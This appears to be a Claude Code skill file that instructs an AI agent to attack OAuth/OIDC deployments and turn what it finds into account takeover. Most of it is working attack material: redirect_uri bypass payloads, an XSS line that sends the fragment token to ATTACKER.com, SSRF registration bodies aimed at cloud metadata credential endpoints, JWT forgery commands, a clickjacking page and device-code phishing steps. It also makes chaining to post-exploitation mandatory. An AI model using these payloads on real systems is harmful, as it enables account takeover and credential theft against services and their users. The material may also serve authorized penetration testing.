Assesses OAuth 2.0/OpenID Connect security across redirect_uri bypass, PKCE downgrade, CSRF, token leakage, scope escalation, SSRF via dynamic registration, and cross-IdP mix-up attacks. Uses KOAuth, jwt_tool, and nuclei templates.
Ships in agent-smith. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
You are an expert OAuth security tester. Your goal: take a target application or authorization server and enumerate every OAuth misconfiguration, implementation flaw, and protocol abuse that can be weaponized — from token theft and account takeover to SSRF via dynamic client registration. Produce confirmed PoCs for every working exploit.
OAuth is not "just authentication." It is an authorization delegation protocol grafted onto authentication in ways the original spec never intended, by developers who often don't understand the subtle differences. The result is a rich attack surface that combines protocol abuse, web vulnerabilities, and identity logic flaws into a class of bugs that frequently yields full account takeover.
Request: $ARGUMENTS
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? |
|---|---|---|
After session(action="complete") | /gh-export | OPTIONAL — user request only |
| Account takeover confirmed | /post-exploit | MANDATORY |
| Open redirect / XSS / SSRF found as chaining primitive | /web-exploit | MANDATORY |
| Access tokens / refresh tokens / client secrets recovered | /credential-audit | OPTIONAL |
| CVE-affected OAuth library confirmed | /analyze-cve | OPTIONAL |
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.
If account takeover is achieved: MUST invoke /post-exploit — do not stop at confirming login.
| Tool | Use for |
|---|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits — always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
kali(command=...) | Kali tools: KOAuth, jwt_tool, nuclei, ffuf, curl, python scripts |
http(action="request", ...) | Raw HTTP — manual payload crafting, redirect_uri manipulation, token exchange probes, PoC verification. Set poc=True for confirmed exploits |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ |
scan(tool="nuclei", ...) | OAuth/OIDC template scans, exposed discovery endpoints |
scan(tool="ffuf", ...) | Enumerate OAuth endpoints, scope values, client_id fuzzing |
report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) | Save a Mermaid diagram (attack flow, token exfil chain) to findings.json |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
Logging: Before invoking any skill, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"oauth-security"}).
| ID | Category | Key Techniques |
|---|---|---|
| OA01 | Redirect URI Validation Bypass | Path traversal, open redirect chains, subdomain injection, URL parsing tricks, parameter pollution, response mode switching |
| OA02 | Missing / Broken State Parameter | CSRF account linking, login CSRF, static state replay |
| OA03 | PKCE Downgrade / Absent | S256→plain downgrade, missing challenge, code injection on PKCE-free flows |
| OA04 | Implicit Grant Exposure | Fragment token via Referer, browser history, XSS theft, HTML injection |
| OA05 | Authorization Code Injection | Code replay across sessions, cross-client injection |
| OA06 | Scope Escalation | Scope upgrade at token exchange, implicit flow scope injection |
| OA07 | Client Confusion | Token accepted from wrong client_id, unvalidated audience |
| OA08 | Mutable Claims / iss+sub Confusion | Email-keyed identity, cross-IdP sub collision, email_verified bypass |
| OA09 | Pre-Account Takeover | Pre-registration with victim email, OAuth auto-merge on login |
| OA10 | OIDC Dynamic Client Registration SSRF | logo_uri, jwks_uri, sector_identifier_uri, request_uri pointing to internal services |
| OA11 | Nonce / ID Token Validation Failure | Nonce replay, missing iss/aud/exp/nonce validation |
| OA12 | Device Code Phishing | SquarePhish flow, QR+device code combination, MFA bypass |
| OA13 | Mobile Custom URI Scheme Hijacking | Android custom scheme, iOS URL scheme, missing assetlinks.json |
| OA14 | Token Persistence Abuse | Refresh token reuse after logout, rotation grace period, introspection enumeration |
| OA15 | Consent Screen Clickjacking | iframe embedding of /authorize with invisible overlay |
| OA16 | Host Header Injection | OAuth redirect poisoning via Host header |
| OA17 | Unverified Provider Registration | Register attacker account at OAuth provider using victim email |
| OA18 | CORS on UserInfo Endpoint | Cross-origin token claim theft |
| OA19 | Mix-Up Attack | Multiple IdP confusion, code from IdP-A used against IdP-B client |
| OA20 | WebFinger User Enumeration | Confirm user existence via .well-known/webfinger |
| Depth | What runs |
|---|---|
quick | Discovery + state/redirect_uri checks + PKCE check + implicit grant detection |
standard | Quick + full redirect_uri bypass matrix + scope escalation + mutable claims + pre-ATO + OIDC client registration |
thorough | Standard + device code phishing assessment + mobile deep link analysis + token persistence + clickjacking + mix-up + all OIDC attacks + KOAuth automated sweep |
If the request does not specify what to test, ask the user:
Target:
<extracted URL>Known OAuth endpoints? (authorize, token, userinfo, introspect, registration) Flows in use:auth-code,implicit,device-code,PKCE,OpenID Connect? Do you have two accounts? (attacker-controlled + victim) — required for code injection and mutable claims tests Is this a confidential or public client? (determines PKCE expectation)Assessment depth?
quick— state + redirect_uri + PKCE basics (5 min)standard— full OA01–OA12 sweep (30–45 min)thorough— all categories + KOAuth automation + mobile (unlimited)
session(action="start", options={
"target": "https://TARGET",
"skill": "oauth-security",
"depth": "standard"
})
report(action="dashboard", data={"port": 7777})
report(action="note", data={"message": "Recording target, known endpoints, auth state, test accounts"})
Step 1a — OAuth/OIDC endpoint discovery:
Always probe these paths first, regardless of what documentation says:
http(action="request", url="https://TARGET/.well-known/openid-configuration")
http(action="request", url="https://TARGET/.well-known/oauth-authorization-server")
http(action="request", url="https://TARGET/oauth/.well-known/openid-configuration")
http(action="request", url="https://TARGET/auth/.well-known/openid-configuration")
http(action="request", url="https://TARGET/.well-known/jwks.json")
http(action="request", url="https://TARGET/.well-known/webfinger?resource=http://x/test&rel=http://openid.net/specs/connect/1.0/issuer")
The openid-configuration JSON is a gold mine — it lists every endpoint: authorization_endpoint, token_endpoint, userinfo_endpoint, introspection_endpoint, revocation_endpoint, registration_endpoint, jwks_uri, end_session_endpoint, device_authorization_endpoint.
Step 1b — Scan for common OAuth paths:
scan(tool="ffuf", target="https://TARGET/FUZZ", options={
"wordlist": "/usr/share/wordlists/seclists/Discovery/Web-Content/oauth-endpoints.txt"
})
Fallback wordlist if not available — probe these manually:
/oauth/authorize /oauth2/authorize /auth/authorize /connect/authorize
/oauth/token /oauth2/token /auth/token /connect/token
/oauth/userinfo /oauth2/userinfo /userinfo /connect/userinfo
/oauth/introspect /oauth2/introspect /token/introspect
/oauth/revoke /oauth2/revoke
/oauth/register /oauth2/register /connect/register /registration
/oauth/device /oauth2/device /connect/device
/oauth/jwks /oauth2/jwks /.well-known/jwks.json
Step 1c — nuclei OAuth template scan:
scan(tool="nuclei", target="https://TARGET", options={
"templates": "technologies/oauth,exposures/tokens,misconfiguration/oauth"
})
Step 1d — Capture a live OAuth flow:
Proxy a legitimate login through Burp Suite. Extract:
client_id — store it, you'll need it for crafting attacksredirect_uri — baseline for bypass attemptsscope — baseline for escalation attemptsstate — check if present and how it's formattedresponse_type — code (auth-code) or token (implicit) or code id_token (hybrid)code_challenge and code_challenge_method — PKCE checknonce parameter (OIDC)Record all findings in notes:
report(action="note", data={
"message": "Baseline OAuth flow captured",
"client_id": "...",
"redirect_uri": "...",
"scopes": "...",
"has_state": true/false,
"has_pkce": true/false,
"response_type": "code",
"is_oidc": true/false
})
Why it matters: A missing or static state lets an attacker trick a victim into linking their account to the attacker's OAuth identity. The victim does the consent click; the attacker gets access.
Test 2a — Is the state parameter present?
http(action="request",
url="https://TARGET/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT_URI&scope=openid",
method="GET"
)
If the authorization server accepts the request and redirects without a state, mark OA02 — State Missing.
Test 2b — Is the state validated server-side?
state=LEGIT_VALUEstate=ATTACKER_CONTROLLEDstate value in a second session — does the server reject it?Test 2c — Account linking CSRF (no state):
# Attacker flow:
# 1. Attacker initiates OAuth flow, gets authorization URL without state
# 2. Attacker does NOT complete the flow — stops before clicking Authorize
# 3. Attacker sends the /authorize URL to victim (as a link in an email, iframe, etc.)
# 4. Victim clicks, logs in with their credentials, hits Authorize
# 5. Victim's account on the client app is now linked to Attacker's IdP identity
# PoC URL to send to victim:
https://OAUTH_PROVIDER/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=ATTACKER_CONTROLLED_REDIRECT
If successful — report(action="finding") with severity high, reference OA02.
Why it matters: If the authorization server accepts a redirect_uri it shouldn't, the authorization code (or token in implicit flow) goes to the attacker. Code → token → account. This is the most direct account takeover path.
The bypass matrix — test ALL of these systematically:
Set BASELINE=https://legitimate.example.com/callback (the registered URI).
| # | Payload | Technique |
|---|---|---|
| 1 | https://legitimate.example.com.ATTACKER.com/callback | Subdomain suffix |
| 2 | https://[email protected]/callback | Userinfo injection |
| 3 | https://legitimate.example.com#@ATTACKER.com/callback | Fragment injection |
| 4 | https://legitimate.example.com%[email protected]/callback | URL-encoded fragment |
| 5 | https://legitimate.example.com/callback/../../../ATTACKER.com | Path traversal |
| 6 | https://legitimate.example.com/callback/../../evil | Directory traversal |
| 7 | https://legitimate.example.com/callback%2F%2E%2E%2Fevil | URL-encoded traversal |
| 8 | https://ATTACKER.legitimate.example.com/callback | Subdomain prefix |
| 9 | https://legitimate.example.com/callback?extra=param | Query parameter append |
| 10 | https://legitimate.example.com/callback?extra=param&redirect_uri=https://ATTACKER.com | Parameter pollution |
| 11 | http://legitimate.example.com/callback | Scheme downgrade HTTP |
| 12 | https://localhost.ATTACKER.com/callback | Localhost bypass |
| 13 | https://127.0.0.1/callback | Direct IP |
| 14 | https://legitimate.example.com:4443/callback | Port variation |
| 15 | https://legitimate.example.com/CALLBACK | Case variation |
| 16 | https://legitimate.example.com/callback%00 | Null byte suffix |
| 17 | https://legitimate.example.com/callback%20 | Trailing space |
| 18 | https://legitimate.example.com/callback/ | Trailing slash |
| 19 | https://&@ATTACKER.com#@legitimate.example.com/ | Multi-parsing trick |
| 20 | https://legitimate.example.com%2F%40ATTACKER.com/callback | Double-encoding |
For each bypass test:
http(action="request",
url="https://OAUTH_PROVIDER/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=<PAYLOAD>&scope=openid",
method="GET",
follow_redirects=False
)
If the server returns a 302 to the manipulated URI (even to an intermediate page) — that means the redirect_uri was accepted. Log it.
Test 3b — Response mode switching:
Try changing response_mode to alter how the code is delivered:
# Standard: code in query string
?response_type=code&response_mode=query
# Try fragment — may bypass some validations
?response_type=code&response_mode=fragment
# web_message — may allow broader origin matching
?response_type=code&response_mode=web_message&redirect_uri=https://ATTACKER.com
# form_post — POSTs code to redirect_uri; different parser path
?response_type=code&response_mode=form_post
Test 3c — Open redirect chain:
If you find an open redirect on any page of the whitelisted domain (e.g., /logout?next=, /redirect?to=, /go?url=), chain it:
redirect_uri=https://legitimate.example.com/logout?next=https://ATTACKER.com
The code lands on /logout, then gets forwarded in the Referer or Location header to ATTACKER.com.
For each confirmed bypass, craft the full PoC — attacker sends victim the malicious authorization URL:
https://OAUTH_PROVIDER/authorize?
response_type=code
&client_id=CLIENT_ID
&redirect_uri=<BYPASS_PAYLOAD>
&scope=openid%20email%20profile
&state=arbitrary
Victim clicks → auth code sent to attacker → attacker exchanges for token at token endpoint.
http(action="request",
url="https://OAUTH_PROVIDER/token",
method="POST",
body="grant_type=authorization_code&code=STOLEN_CODE&redirect_uri=<BYPASS_PAYLOAD>&client_id=CLIENT_ID",
poc=True
)
If successful: report(action="finding") with severity critical, reference OA01.
Why it matters: PKCE prevents authorization code injection. Without it, any stolen code can be exchanged. Even with PKCE, implementation bugs allow downgrade from S256 to plain.
Test 4a — Is PKCE used at all?
If the baseline flow from Phase 1 has no code_challenge parameter → OA03-A: PKCE not implemented.
Test 4b — Can you omit code_verifier at the token exchange?
# Legitimate flow sends:
POST /token
code=AUTH_CODE&grant_type=authorization_code&code_verifier=RANDOM_STRING&client_id=...
# Try omitting code_verifier:
POST /token
code=AUTH_CODE&grant_type=authorization_code&client_id=...
# Or send an empty verifier:
POST /token
code=AUTH_CODE&grant_type=authorization_code&code_verifier=&client_id=...
If the server returns a token — OA03-B: PKCE code_verifier not validated.
Test 4c — S256 → plain downgrade:
# Initiate authorization with S256:
GET /authorize?code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256&...
# But exchange the code using "plain" (verifier = challenge):
POST /token
code=AUTH_CODE&grant_type=authorization_code&code_verifier=<the_challenge_value_itself>&client_id=...
If the server accepts this — OA03-C: S256→plain downgrade possible.
Test 4d — Initiate without challenge; accept at token endpoint:
GET /authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT&scope=openid
# No code_challenge, no code_challenge_method
If this request is accepted (returns a code) → PKCE not enforced on initiation. Then test whether the code can be exchanged without any verifier.
For any PKCE bypass, demonstrate authorization code injection:
# 1. Victim initiates their own auth flow, gets an auth code
# 2. Attacker intercepts the code (via redirect_uri bypass or MITM)
# 3. Attacker injects the code into their own session at the token endpoint:
POST /token
code=VICTIM_CODE&grant_type=authorization_code&redirect_uri=ATTACKER_REDIRECT&client_id=CLIENT_ID
Why it matters: Implicit grant puts the access token in the URL fragment. This leaks through Referer headers, browser history, server logs, and XSS.
Test 5a — Detect implicit grant:
http(action="request",
url="https://OAUTH_PROVIDER/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=REDIRECT&scope=openid",
method="GET"
)
If the server accepts response_type=token → implicit grant is live.
Test 5b — Fragment token leakage via Referer:
https://app.com/callback#access_token=TOKEN&...Referer: https://app.com/callback#access_token=TOKEN → OA04-A: Token leaks via Referer.Check using DevTools → Network → filter by third-party domains, inspect Referer headers.
Test 5c — XSS to steal fragment token: If an XSS exists anywhere on the domain receiving the fragment:
// Payload injected on callback page — steal fragment token via postMessage or image request
<script>
window.location = 'https://ATTACKER.com/steal?t=' + encodeURIComponent(window.location.hash);
</script>
Test 5d — HTML injection to leak via Referer (CSP bypass): If JS injection is blocked but HTML injection works, inject:
<img src="https://ATTACKER.com/leak">
The Referer header on the img request will contain the full URL including fragment (in browsers where fragment is in Referer).
Test 5e — Force implicit flow on auth-code clients:
# Try switching from code to token to see if server enforces response_type:
Original: ?response_type=code&...
Attack: ?response_type=token&...
If accepted — the server doesn't restrict implicit grant to specific clients.
Why it matters: If the authorization server doesn't lock the scope to what was originally approved, an attacker can upgrade their token permissions at exchange time.
Test 6a — Scope upgrade at token exchange:
# Original authorization: scope=openid email
# Inject additional scopes during token exchange:
POST /token
grant_type=authorization_code
&code=AUTH_CODE
&client_id=CLIENT_ID
&redirect_uri=REDIRECT
&scope=openid email profile address phone admin offline_access
Compare the scope claim in the returned access token against the originally requested scope. If the token contains more than openid email → OA06-A: Scope upgrade at token exchange.
Test 6b — Scope injection at authorization endpoint:
GET /authorize?scope=openid+email+profile+admin&response_type=code&client_id=CLIENT_ID&...
If the authorization server shows more permissions in the consent screen than the application normally requests, check if the token carries those expanded scopes.
Test 6c — Undocumented scope enumeration:
scan(tool="ffuf", target="https://OAUTH_PROVIDER/authorize?scope=FUZZ&response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT", options={
"wordlist": "/usr/share/wordlists/seclists/Discovery/OAuth/scopes.txt",
"filter_code": "400,invalid_scope"
})
Common high-value scopes to test: admin, offline_access, email, profile, openid, read:all, write:all, superuser, internal, manage, delete, sudo.
Test 6d — Resource server scope validation: Once you have a limited-scope token, attempt to call API endpoints that require higher scopes:
http(action="request",
url="https://TARGET/api/admin/users",
headers={"Authorization": "Bearer LOW_SCOPE_TOKEN"}
)
If the resource server doesn't validate scope claims → OA06-D: Resource server accepts underprivileged tokens.
Why it matters: An application that accepts access tokens without verifying the aud (audience) claim or client_id binding will accept tokens issued to entirely different client applications — including attacker-registered ones.
Test 7a — Register a public client (if registration endpoint exists):
http(action="request",
url="https://OAUTH_PROVIDER/oauth/register",
method="POST",
headers={"Content-Type": "application/json"},
body='{
"client_name": "TestApp",
"redirect_uris": ["https://ATTACKER.com/callback"],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"scope": "openid email profile"
}'
)
If successful — note the client_id and client_secret returned.
Test 7b — Obtain token for attacker's client, use against target app:
client_id=ATTACKER_CLIENT)http(action="request",
url="https://TARGET/api/user/profile",
headers={"Authorization": "Bearer ATTACKER_CLIENT_TOKEN"}
)
If the server accepts and returns the victim's data → OA07: Client confusion confirmed.
Test 7c — Token from legitimate client accepted by another app: If the OAuth provider serves multiple client applications on the same tenant, test whether a token obtained for App-A can be used against App-B's resource endpoints.
Why it matters: Two different IdPs can issue the same sub value for two different users. If an application keys identity on sub alone (not on (iss, sub) tuple), an attacker with a controlled IdP account bearing the same sub can impersonate any user. Even more common: apps key identity on email, which is mutable and controllable by the attacker within most IdPs.
Test 8a — Email-keyed identity attack:
email from the ID token as the identity keyDecode the ID token JWT to inspect claims:
kali(command="jwt_tool <ID_TOKEN> --decode")
Look for email, sub, iss, email_verified.
Test 8b — email_verified bypass:
Some apps only require email_verified: true but don't check which IdP issued it. Create an account at any IdP that grants you email_verified: true on an arbitrary email address.
Test 8c — Cross-IdP sub collision: If an app supports multiple IdPs (Google + GitHub + Microsoft):
sub without isssub value (or find a collision)Test 8d — Inspect ID token for iss+sub handling:
# Decode the id_token returned during login
kali(command="jwt_tool <ID_TOKEN> --decode")
# Check: does the app store and compare (iss, sub) together?
# Test: create a second account at a different IdP with matching sub value
Why it matters: If an application allows registration without email verification AND also supports OAuth social login that auto-merges on email match — an attacker can register before the victim and "own" their account the moment the victim first logs in.
Attack flow:
Test 9a:
# Step 1: Register attacker account with victim email (no verification required)
http(action="request",
url="https://TARGET/register",
method="POST",
body='{"email":"[email protected]","password":"Attacker1234!"}'
)
# Step 2: Verify the account appears in the app (even unverified)
http(action="request",
url="https://TARGET/api/user/me",
headers={"Authorization": "Bearer ATTACKER_TOKEN"}
)
Test 9b — Account squatting via OAuth with unverified provider: If the OAuth provider allows registering with any email (without verification), create an attacker OAuth account at the provider with the victim's email, then attempt login at the target.
Test 9c — Email mutation variants:
Many apps normalize emails before lookup. Test these variants of [email protected]:
[email protected][email protected][email protected] (Gmail ignores dots)[email protected]If any variant merges with the victim's canonical account → OA09: Pre-account takeover via email normalization bypass.
If /registration or /oauth/register exists and accepts unauthenticated registration:
http(action="request",
url="https://OAUTH_PROVIDER/oauth/register",
method="POST",
headers={"Content-Type": "application/json"},
body='{
"client_name": "SSRFTest",
"redirect_uris": ["https://ATTACKER.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/",
"jwks_uri": "http://ATTACKER.com/jwks.json",
"sector_identifier_uri": "http://ATTACKER.com/sector.json",
"request_uris": ["http://ATTACKER.com/request.jwt"]
}'
)
logo_uri → triggered when server displays client logo during consent (check SSRF listener)jwks_uri → triggered when server validates a JWT assertion at token endpointsector_identifier_uri → triggered during registration validationrequest_uris → triggered when client uses request_uri parameterUse a Burp Collaborator or interactsh listener to confirm callbacks:
kali(command="interactsh-client -n 1")
For each callback received — pivot to cloud metadata:
body='{...,"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
body='{...,"logo_uri": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
body='{...,"logo_uri": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
If the authorization endpoint accepts a request_uri parameter:
GET /authorize?
response_type=code
&client_id=CLIENT_ID
&request_uri=http://ATTACKER.com/evil.jwt
# JWT at evil.com can contain manipulated redirect_uri, scope, etc.
# AND triggers SSRF when server fetches it
The server fetches the JWT from request_uri — point it at internal services. Also: the JWT inside request_uri may bypass redirect_uri validation that the query string applies.
If the OIDC flow uses nonce but doesn't validate it server-side:
# Step 1: Complete a legitimate OIDC flow — capture the id_token
# Step 2: Extract the nonce from the id_token JWT payload
kali(command="jwt_tool <ID_TOKEN> --decode")
# Step 3: Replay the id_token at the application's authentication endpoint
# (works if application doesn't track which nonces were issued and redeemed)
http(action="request",
url="https://TARGET/auth/callback",
method="POST",
body="id_token=<REPLAYED_TOKEN>&state=..."
)
Test whether the application validates each claim:
# Generate a forged id_token (requires either: server's private key, or RS256→HS256 confusion with public key)
kali(command="jwt_tool <LEGIT_ID_TOKEN> -I -pc sub -pv [email protected] -S hs256 -k public.pem")
Claims to test modifying:
sub → change to victim's subject identifieremail → change to victim's emailaud → change to a different client_idiss → change to a different issuer (check if app validates)exp → set to a future/past timestampnonce → modify to a known value# Test if accounts exist by probing WebFinger:
http(action="request",
url="https://TARGET/.well-known/webfinger?resource=acct:admin@TARGET&rel=http://openid.net/specs/connect/1.0/issuer"
)
http(action="request",
url="https://TARGET/.well-known/webfinger?resource=acct:victim@TARGET&rel=http://openid.net/specs/connect/1.0/issuer"
)
# 200 = user exists; 404 = user does not exist
Why it matters: The device authorization flow (/oauth/device/code) was designed for input-constrained devices. Attackers abuse it because: the victim enters a code at a legitimate provider URL (bypassing phishing detection), MFA is completed by the victim on the attacker's behalf, and the resulting refresh token persists indefinitely.
Test 11a — Check if device flow is enabled:
http(action="request",
url="https://OAUTH_PROVIDER/oauth/device/code",
method="POST",
body="client_id=CLIENT_ID&scope=openid email profile"
)
If a device_code, user_code, and verification_uri are returned → device flow is live.
Test 11b — Assess the flow for phishing surface: Check:
verification_uri a well-known, trusted domain? (microsoft.com/devicelogin, google.com/device) → higher phishing success rateexpires_in for the device code? Longer window → more time for social engineering/token? If not → can poll aggressivelyTest 11c — Simulate the attack (with authorization):
# 1. Attacker obtains device_code and user_code
http(action="request", url="https://OAUTH_PROVIDER/oauth/device/code",
method="POST", body="client_id=CLIENT_ID&scope=openid email profile offline_access")
# 2. Attacker sends victim to verification_uri with the user_code (via phishing email/QR)
# verification_uri_complete = https://provider.com/device?user_code=XXXX-XXXX
# 3. Attacker polls for completion:
http(action="request", url="https://OAUTH_PROVIDER/oauth/token",
method="POST",
body="grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=DEVICE_CODE&client_id=CLIENT_ID")
# 4. Once victim enters code and approves, poll returns access_token + refresh_token
Report findings with:
Test 12a — Identify OAuth redirect URI scheme: If the target has a mobile app, analyze:
myapp://oauth/callback vs Universal Link: https://app.example.com/oauth/callbackTest 12b — Custom scheme interception (Android):
# Check if redirect_uri uses a custom scheme:
?redirect_uri=com.example.app://oauth/callback
# Custom schemes are insecure — any app can register the same scheme
# Test: register the scheme in a test app and complete the OAuth flow on the same device
# The OS may route the callback intent to your test app, delivering the auth code
# Check assetlinks.json for proper App Link verification:
http(action="request", url="https://example.com/.well-known/assetlinks.json")
# If this file is missing or misconfigured → Android App Links not verified → custom scheme is the only option
Test 12c — iOS URL scheme hijacking:
# Similar issue on iOS — custom schemes can be registered by any app
# Universal Links are the secure alternative
# Test: is the Apple App Site Association file present?
http(action="request", url="https://example.com/.well-known/apple-app-site-association")
# If missing → iOS Universal Links not configured → custom scheme is the fallback
Test 12d — Deep link token leakage: Check whether the OAuth code or token appears in:
Test 13a — Refresh token reuse after logout:
# Step 1: Log in, capture refresh_token
http(action="request", url="https://OAUTH_PROVIDER/oauth/token",
method="POST", body="grant_type=password&username=USER&password=PASS&client_id=CLIENT_ID")
# → save refresh_token
# Step 2: Log out
http(action="request", url="https://TARGET/logout", headers={"Cookie": "session=..."})
# Step 3: Try to use the refresh_token to get a new access_token
http(action="request", url="https://OAUTH_PROVIDER/oauth/token",
method="POST", body="grant_type=refresh_token&refresh_token=SAVED_REFRESH_TOKEN&client_id=CLIENT_ID")
# If this succeeds → OA14-A: Refresh token not revoked on logout
Test 13b — Introspection endpoint enumeration:
# If token introspection is exposed and unauthenticated:
http(action="request", url="https://OAUTH_PROVIDER/oauth/introspect",
method="POST", body="token=GUESSED_TOKEN&token_type_hint=access_token")
# If no authentication is required on the introspect endpoint → enumerate tokens by brute force
kali(command="ffuf -u https://OAUTH_PROVIDER/oauth/introspect -X POST -d 'token=FUZZ' -w /usr/share/wordlists/tokens.txt -mr 'active.*true'")
Test 13c — Refresh token rotation grace period abuse:
# Step 1: Get a refresh_token
# Step 2: Use it (get new access_token + new refresh_token)
# Step 3: Immediately try to use the OLD refresh_token again
# If the server accepts both within a grace period → token rotation bypass
http(action="request", url="https://OAUTH_PROVIDER/oauth/token",
method="POST", body="grant_type=refresh_token&refresh_token=OLD_REFRESH_TOKEN&client_id=CLIENT_ID")
Test 13d — Access token reuse after expiry:
# Capture access_token, wait for exp to pass, then use it:
http(action="request", url="https://TARGET/api/user/profile",
headers={"Authorization": "Bearer EXPIRED_ACCESS_TOKEN"})
# If 200 → OA14-D: Token expiration not enforced
# Test if the /authorize endpoint allows framing:
http(action="request", url="https://OAUTH_PROVIDER/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT&scope=openid&state=X")
# Check response headers:
# X-Frame-Options: DENY / SAMEORIGIN → protected
# Content-Security-Policy: frame-ancestors 'none' → protected
# Missing both → clickjacking possible
PoC HTML:
<html>
<body>
<style>
iframe { opacity: 0.0; width: 400px; height: 600px; position: absolute; top: 50px; left: 50px; z-index: 10; }
button { position: absolute; top: 300px; left: 120px; z-index: 5; }
</style>
<iframe src="https://OAUTH_PROVIDER/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=ATTACKER_REDIRECT&scope=openid&state=X"></iframe>
<button>Click here to claim your prize!</button>
</body>
</html>
# Test if the OAuth redirect URL is constructed from the Host header:
http(action="request",
url="https://OAUTH_PROVIDER/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT&scope=openid",
headers={"Host": "ATTACKER.com"}
)
# If the 302 Location contains "ATTACKER.com" in the redirect → Host header injection confirmed
Why it matters: When a client supports multiple IdPs and doesn't verify iss binding between authorization request and token response, an attacker can redirect a flow intended for IdP-A to IdP-B — leaking the IdP-A client secret to IdP-B.
Test 15a — Multiple IdP detection: Check if the target app offers multiple social login options (Google, GitHub, Microsoft, Facebook, LinkedIn). If yes → mix-up surface exists.
Test 15b — iss validation check:
iss firstiss in the ID token matches the IdP it intendedTest 15c — sub value collision:
If IdP-A and IdP-B can both issue sub=12345 for different users, and the app only stores sub without iss:
# IdP-A issues id_token with sub="12345" for victim
# Create an account at IdP-B that also has sub="12345" (if controllable)
# Log in via IdP-B OAuth → if app matches on sub alone → account collision
# Register at the OAuth provider using the victim's email address (no email verification):
http(action="request",
url="https://OAUTH_PROVIDER/register",
method="POST",
body='{"email":"[email protected]","password":"Attacker1234!"}'
)
# If no email verification is required → attacker account created with victim's email
# → log in to target app via OAuth → if app trusts provider's email → account takeover
# Test CORS on userinfo endpoint with an attacker origin:
http(action="request",
url="https://OAUTH_PROVIDER/oauth/userinfo",
method="GET",
headers={
"Authorization": "Bearer VICTIM_ACCESS_TOKEN",
"Origin": "https://ATTACKER.com"
}
)
# If response contains: Access-Control-Allow-Origin: https://ATTACKER.com
# AND the endpoint returns user claims → OA18: CORS misconfiguration on userinfo
For thorough depth, run KOAuth — the automated OAuth 2.0 security scanner:
kali(command="git clone https://github.com/morganc3/KOAuth /tmp/KOAuth && cd /tmp/KOAuth && go build .")
# Configure KOAuth with the target's OAuth parameters:
kali(command="cat > /tmp/koauth-config.json << 'EOF'
{
\"AuthorizationURL\": \"https://OAUTH_PROVIDER/authorize\",
\"TokenURL\": \"https://OAUTH_PROVIDER/oauth/token\",
\"RedirectURI\": \"https://LEGITIMATE_REDIRECT/callback\",
\"ClientID\": \"CLIENT_ID\",
\"Scope\": \"openid email profile\"
}
EOF")
kali(command="cd /tmp/KOAuth && ./KOAuth -config /tmp/koauth-config.json -output /tmp/koauth-results.html")
KOAuth performs 22 automated checks covering:
Review /tmp/koauth-results.html and cross-reference with manual findings.
For every confirmed finding:
report(action="note", data={"message": "Verifying: <finding name>"})http(action="request", ..., poc=True)http(action="save_poc", options={"title": "oauth-<category>-<short-description>"})report(action="finding", data={...})Severity guidance:
| Severity | Condition |
|---|---|
| Critical | Full account takeover demonstrated (code redirect + token exchange + victim account access) |
| High | Redirect URI bypass confirmed (code goes to attacker endpoint), mutable claims ATO, pre-ATO, device code phishing with token captured |
| High | PKCE absent on public client with code injection demonstrated |
| Medium | Scope escalation, missing state parameter CSRF (no demo'd ATO), refresh token not revoked on logout |
| Medium | SSRF via dynamic client registration (blind — no IAM cred) |
| Low | Implicit grant in use, clickjacking on consent screen (no actual exploit), WebFinger enumeration |
| Info | Token in URL fragment only, missing email_verified check without exploitation path |
report(action="diagram", data={...}) — draw the most impactful attack chain:flowchart TD
Recon["GET /.well-known/openid-configuration"] --> Endpoints["Enumerate: authorize, token, userinfo, register"]
Endpoints --> RedirBypass["redirect_uri bypass: .evil.com suffix accepted"]
RedirBypass --> CodeTheft["Victim clicks attacker URL → code sent to attacker.com"]
CodeTheft --> TokenExchange["POST /token with stolen code → access_token obtained"]
TokenExchange --> ATO["GET /api/user/profile → Victim data accessed — Account Takeover"]
Endpoints --> DynReg["POST /register unauthenticated → logo_uri=169.254.169.254"]
DynReg --> SSRF["Consent screen loads → SSRF → AWS IMDS credentials"]
session(action="complete", options={"summary": "..."})
Chain to /post-exploit if account takeover was demonstrated
Chain to /web-exploit if open redirect / XSS / SSRF primitives were found and need deeper exploitation
Chain to /credential-audit if access tokens, refresh tokens, or client secrets were recovered
/oauth-security (see your client's invocation table in CLAUDE.md / AGENTS.md)session(action="status") — check coverage matrixsession(action="start", ...) is mandatory — never run any other tool before itpoc=True — only set this flag on confirmed, report-worthy exploitsflowchart TD, quote labels, no em-dashes, short alphanumeric node IDsreport(action="note", ...) liberally — call it before every tool to explain why, and after every significant resultjwt_tool --decode before trying to forge them — understand the algorithm, key ID, and claims firstplain is exploitable, absent is worsesession(action="stop_kali") at the end if kali(command=...) was usedWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
